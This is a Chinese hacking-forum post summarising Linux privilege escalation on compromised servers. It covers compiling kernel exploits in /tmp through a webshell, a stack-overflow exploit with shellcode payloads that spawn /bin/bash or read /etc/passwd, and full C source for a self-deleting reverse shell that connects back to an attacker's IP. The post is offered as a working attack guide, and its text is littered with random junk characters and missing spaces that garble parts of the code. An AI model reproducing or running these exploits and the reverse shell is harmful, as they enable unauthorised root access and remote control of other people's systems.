Linux提权小结

[复制链接]
查看256 | 回复0 | 2012-4-1 19:16:53 | 显示全部楼层 |阅读模式
1,先说最简单的
lsb_release*s  k4f6e1{3e  k

-a或者uname

-a获得内核版本
根据版本,找exp
一般将C文件放置/tmp/目录例如/tmp/silic.c
设置文件为0777属性(不要0666)chmod777/tmp/silic.c
或者直接webshell操作
然后编译gcc-o/tmp/silic/tmp/silic.c
执行/tmp/silic
有两种情况需要注意,一种是tmp目录文件过多造成太卡,一种是gcc命令无效
前者其实可以将文件搬出去到别的目录,或者自己新建一个0777目录,后者可以在自己或别的机器上先编译好,放到对方机器上直接执行。
一般来讲有禁gcc,连脚本执行也禁了的不多,除非是我这样的BT管理员-L;K.H(c*|


;]5w0|'M6?7a7M9y2U

如果还是碰上了对应版本的提权失败的,就看22,自己写shellShell里面的Shellcode是很重要的部分,也是最灵活,在国外黑客最挣钱的部分写一个程序#include<stdio.h>#include<string.h>intmain(intargc,char**argv){charbuffer[500];strcpy(buffer,argv[1]);return0;}按照文章里面测试的,编译后这样执行/tmp/buffer$(python-c'print&quot;\x90&quot;*371+&quot;\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80&quot;+&quot;\x6c\xf0\xff\xbf&quot;*35')这是一行命令,最后其实等于执行了/bin/bash这个命令(实际提权中无意义,不会执行这个命令)实际后面的ph命令可以用这个来计算shellcode来修改如果要编译好的直接看附件包里面的shellcode继续拿这个程序举例我用了一个45长度的shellcode,也就是/bin/bash如果我执行的不是/bin/bash而是cat/etc/passwd

)C7C.X'i*b)F;W/d

Shellcodelenght:69\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x66\x68\x65\x74\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x83\xec\x01\x88\x04\x24\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x50\x56\x83\xee\x09\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80就是69个长度的shellcode了,放到以前构造的45字节exp上肯定不行那么改改。69-45=24原先脚本的&quot;\x6c\xf0\xff\xbf&quot;*35减去6个4等于29次就好了脚本就成了:$(python-c'print&quot;\x90&quot;*371+&quot;\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x66\x68\x65\x74\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x83\xec\x01\x88\x04\x24\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x50\x56\x83\xee\x09\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80&quot;+&quot;\x6c\xf0\xff\xbf&quot;*29')有人拿好几十个webshell换别人一个shell,原因不言而喻了。shell的好坏在于能够定点准确的溢出,写shell的定在哪个地址溢出就在哪个地址,不会因为机器不同而改变。3,反弹连接对于webshell来说,有个不足就是执行的commandline命令不能有引号&rdquo;,不然后面部分就截断了,上面的溢出指令ph脚本上面就有双引号。你可以改造自己的webshell或者反弹连接commandline反弹连接有两种,一种用nc,一种用C程序Nc我就不说了C程序代码:#include<stdio.h>#include<sys/socket.h>#include<netinet/in.h>intmain(intargc,char*argv[]){1X.z-W*C(l8i9`

intfd;7t!g+x,A3F:@7?+q

structsockaddr_insin;

charrms[21]=&quot;rm-f&quot;;*K#m8U'x8_:G!o

daemon(1,0);

sin.sin_family=AF_INET;5x2v-l&quot;I3J-\#v

sin.sin_port=htons(atoi(argv[2]));!z9r&quot;|.V,`,~7F&^&quot;_1a

sin.sin_addr.s_addr=inet_addr(argv[1]);

bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));*P0_8^,n&quot;F9d!o#]

fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if((connect(fd,(structsockaddr*)&sin,sizeof(structsockaddr)))<0){2w3Z+a6?&quot;?)l#t:A

perror(&quot;[-]connect()&quot;);

exit(0);

}

strcat(rms,argv[0]);

system(rms);1g;b;I#[0T'n(i'd+d9A

%X9U#f1q+a.M(y%D&quot;j5F:G

dup2(fd,0);

dup2(fd,1);

dup2(fd,2);!K5H;s)H0c0y-\3v8f3R

execl(&quot;/bin/sh&quot;,&quot;sh-i&quot;,NULL);(z&quot;a!~(N6u

close(fd);}用法就是编译,然后/root/link本地ip

本地端口本地用nc监听。这个反弹的不是root权限,只能说对于shell溢出是简化步骤
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则